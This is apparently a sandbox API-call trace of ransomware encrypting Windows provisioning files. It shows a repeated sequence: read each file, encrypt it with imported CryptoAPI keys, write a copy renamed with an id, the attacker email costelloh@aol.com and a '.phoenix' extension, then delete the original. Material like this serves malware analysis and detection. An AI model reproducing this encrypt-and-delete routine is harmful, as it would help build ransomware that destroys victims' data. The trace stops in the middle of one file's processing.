	[0244.572] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.572] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.572] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.572] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0244.572] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.572] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x300, lpOverlapped=0x0) returned 1
	[0244.690] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0244.690] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0244.722] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0244.722] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.722] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0244.722] CryptDestroyKey (hKey=0x151680) returned 1
	[0244.722] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0244.722] CryptDestroyKey (hKey=0x151500) returned 1
	[0244.722] CloseHandle (hObject=0x2e8) returned 1
	[0244.723] CloseHandle (hObject=0x2d4) returned 1
	[0244.723] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml")) returned 1
	[0244.724] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.724] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.724] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=703) returned 1
	[0244.724] CloseHandle (hObject=0x2d4) returned 1
	[0244.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0244.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.724] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.724] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.724] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.725] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.725] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0244.725] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.725] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bf, lpOverlapped=0x0) returned 1
	[0244.808] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0244.808] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0244.809] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0244.809] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.809] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0244.809] CryptDestroyKey (hKey=0x151180) returned 1
	[0244.809] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0244.809] CryptDestroyKey (hKey=0x151200) returned 1
	[0244.809] CloseHandle (hObject=0x2d4) returned 1
	[0244.809] CloseHandle (hObject=0x2e8) returned 1
	[0244.809] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml")) returned 1
	[0244.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.811] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=650) returned 1
	[0244.811] CloseHandle (hObject=0x2e8) returned 1
	[0244.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.811] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.811] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.812] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0244.812] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.812] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28a, lpOverlapped=0x0) returned 1
	[0244.825] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0244.825] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0244.825] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0244.825] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.826] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0244.826] CryptDestroyKey (hKey=0x151200) returned 1
	[0244.826] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0244.826] CryptDestroyKey (hKey=0x151680) returned 1
	[0244.826] CloseHandle (hObject=0x2e8) returned 1
	[0244.826] CloseHandle (hObject=0x2d4) returned 1
	[0244.826] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.827] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.827] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.827] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=645) returned 1
	[0244.827] CloseHandle (hObject=0x2d4) returned 1
	[0244.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.828] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.828] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.828] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.828] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.828] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0244.828] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.828] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x285, lpOverlapped=0x0) returned 1
	[0244.845] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0244.845] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0244.846] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0244.846] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.846] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0244.846] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0244.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0244.846] CryptDestroyKey (hKey=0x151500) returned 1
	[0244.846] CloseHandle (hObject=0x2d4) returned 1
	[0244.846] CloseHandle (hObject=0x2e8) returned 1
	[0244.846] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.847] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.847] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.848] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=644) returned 1
	[0244.848] CloseHandle (hObject=0x2e8) returned 1
	[0244.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0244.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.848] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.848] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.848] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.848] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.849] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0244.849] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.849] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x284, lpOverlapped=0x0) returned 1
	[0245.022] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0245.022] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0245.023] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
